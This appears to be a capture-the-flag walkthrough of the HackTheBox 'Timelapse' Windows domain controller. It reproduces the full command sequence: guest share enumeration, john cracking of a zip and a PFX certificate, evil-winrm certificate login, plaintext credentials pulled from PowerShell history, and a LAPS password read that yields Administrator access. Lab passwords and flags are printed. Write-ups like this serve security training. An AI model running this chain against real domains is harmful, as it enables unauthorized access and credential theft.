Overview

The machine starts by SMB enumeration as Guest that discovers a password-protected zip in the Dev share containing a PFX certificate, cracking both passwords gives access to extract the private key and cert to authenticate over winrm ssl as legacyy, reading the PowerShell history file leaks credentials for svc_deploy who is a member of LAPS_Readers, querying the ms-mcs-admpwd attribute returns the Administrator password to get shell as Administrator

Enumeration

as usual we'll start with nmap scan

we have DNS,SMB,NetBIOS,LDAP,kpasswd, rpc so this is definitely an AD environment the domain name is timelapse.htb, but we don't have the hostname yet there is a big clock-skew with 7 hours just in case

Lets setup the environment

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ echo '10.129.227.113 timelapse.htb' | sudo tee -a /etc/hosts
10.129.227.113 timelapse.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ sudo ntpdate timelapse.htb
2026-06-15 16:07:34.130757 (-0700) +28799.045621 +/- 0.056227 timelapse.htb 10.129.227.113 s1 no-leap
CLOCK: time stepped by 28799.045621

Shares share as Guest

listing shares with the Guest user indicates that we got access over the Shares share which is a non-standard share

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ nxc smb timelapse.htb -u 'Guest' -p '' --shares
SMB 10.129.227.113 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.227.113 445 DC01 [+] timelapse.htb\Guest:
SMB 10.129.227.113 445 DC01 [*] Enumerated shares
SMB 10.129.227.113 445 DC01 Share Permissions Remark
SMB 10.129.227.113 445 DC01 ----- ----------- ------
SMB 10.129.227.113 445 DC01 ADMIN$ Remote Admin
SMB 10.129.227.113 445 DC01 C$ Default share
SMB 10.129.227.113 445 DC01 IPC$ READ Remote IPC
SMB 10.129.227.113 445 DC01 NETLOGON Logon server share
SMB 10.129.227.113 445 DC01 Shares READ
SMB 10.129.227.113 445 DC01 SYSVOL Logon server share

we got a lot of files that we can download here mentioning a winrm backup, and installer for LAPS

Windows Local Administrator Password Solution (Windows LAPS) is a Windows feature that automatically manages and backs up the password of a local administrator account on your Microsoft Entra-joined or Windows Server Active Directory-joined devices. You also can use Windows LAPS to automatically manage and back up the Directory Services Restore Mode (DSRM) account password on your Windows Server Active Directory domain controllers. An authorized administrator can retrieve the DSRM password and use it.

WINRM Backup file

the winrm_backup.zip got an authentication PFX file the PFX file in a simple terms is a security container that bundles certificate and its corresponding key into a single file

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ unzip -l winrm_backup.zip
Archive: winrm_backup.zip
  Length Date Time Name
--------- ---------- ----- ----
     2555  2021-10-25 07:21   legacyy_dev_auth.pfx
--------- -------
     2555                     1 file

attempting to crack it requires a password so we either we'll crack it or we might find a password for it in one of the other files

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

Looked at the other files nothing came back fast so I decided to focus on that ZIP file

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ zip2john winrm_backup.zip
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
winrm_backup.zip/legacyy_dev_auth.pfx:$pkzip$1*1*2*0*965*9fb*12ec5683*0*4e*8*965*72aa*1a84b40ec6b5c20abd7d695aa16d8c88a3cec7243acf179b842f2d96414d306fd67f0bb6abd97366b7aaea736a0cda557a1d827
27976b2243d1d9a4032d625b7e40325220b35bae73a3d11f4e82a408cb00986825f936ce33ac06419899194de4b54c9258cd7a4a7f03ab181b611a63bc9c26305fa1cbe6855e8f9e80c058a723c396d400b707c558460db8ed6247c7a727d
<SNIP>
cf11f3ed87970aee89159421facc8eb82bca90a36c43f75df5bececfde3128e2834c5ecd067e61c9ba954cc54fc291a1458bdfe9f49fba35eb944625a528fb9d474aaa761314740997e4d2ed3b1cb8e86744cfb6c9d5e3d758684ff3d9fdc
1ba45b39141625d4e6ba38cd3300507555935db1193b765d226c463481388a73d5361e57b7b40c7d3df38fc5da2c1a255ff8c9e344761a397d2c2d59d722723d27140c6830563ee783156404a17e2f7b7e506452f76*$/pkzip$:legacyy_
dev_auth.pfx:winrm_backup.zip::winrm_backup.zip

cracking it came back very vast actually so lets unzip it now

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ john winrm_backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2026-06-15 16:24) 1.724g/s 5981Kp/s 5981Kc/s 5981KC/s surkerior..suppamas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

now we got PFX file which is password protected as we mentioned, so i tried the same password as the zip file supremelegacy but didn't work out so lets crack the PFX password also

doing the exact same thing got us a PFX file password so lets extract info

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ pfx2john legacyy_dev_auth.pfx > legacyy_dev_auth.pfx.hash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ john legacyy_dev_auth.pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:24 DONE (2026-06-15 16:52) 0.01177g/s 38041p/s 38041c/s 38041C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Shell as Legacyy User

will start with the private key

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ openssl': openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv.key -nodes
Enter Import Password:

and here it is extracted

same with the certificate itself

now cause the file was called winrm_backup i assume this'll be valid for winrm and as you can see in the cert.pem this is issued for the subject Legaccy which is one of the users i found on the box doing --rid-brute with the Guest account I didn't see any WINRM in the nmap scan so i redid full scan. which tells me there is WINRM/SSL in place

and we got user as you can see

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ evil-winrm -i timelapse.htb -c cert.pem -k priv.key -S -u legacyy

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> type ../Desktop/user.txt
3c40ff1edc44c5d8a602fec9e4a25227
*Evil-WinRM* PS C:\Users\legacyy\Documents>

Shell as Svc_deploy

looking at the pdf, there are some instructions on how to run this LDAPs utility and one way of this is using powershell so lets check the powershell history ss_20260615_174035.png

my guess was that we'd find some password leak during the LAPS configuration, we still got the password but it was used for a PSSession so lets get it and try to get in

bash 
*Evil-WinRM* PS C:\Users\legacyy> type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano | select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

and we got in as svc_deploy

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/timelapse]
└──╼ [★]$ evil-winrm -i timelapse.htb -S -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

Shell as Administrator

looking at the users' groups it mentions that we a member of the group LAPS_READERS meaning we can read the password, and if you aren't familiar with that, ironically the attached PDF within the box explain is very well so you can take a look there

plaintext 
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /groups
GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers                      Group            S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

and as you can see we got the administrator hash so lets try and login

bash 
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ADComputer DC01 -property 'ms-mcs-admpwd' | select -ExpandProperty 'ms-mcs-admpwd'
G.b$A+}g$NQix347u4}2@M;&

and we rooted the machine

plaintext 
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
503e6d4341a47c338da5419f43393a71

the reason we didn't do this from legacyy user is because the user isn't part of the LAPS_READERS group so it can't actually read the specified attribute

plaintext 
*Evil-WinRM* PS C:\Users\legacyy> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                  Type             SID                                          Attributes
=========================================== ================ ============================================ ==================================================
Everyone                                    Well-known group S-1-1-0                                      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                     Mandatory group, Enabled by default, Enabled group
TIMELAPSE\Development                       Group            S-1-5-21-671920749-559770252-3318990721-3101 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity  Well-known group S-1-18-1                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

Resources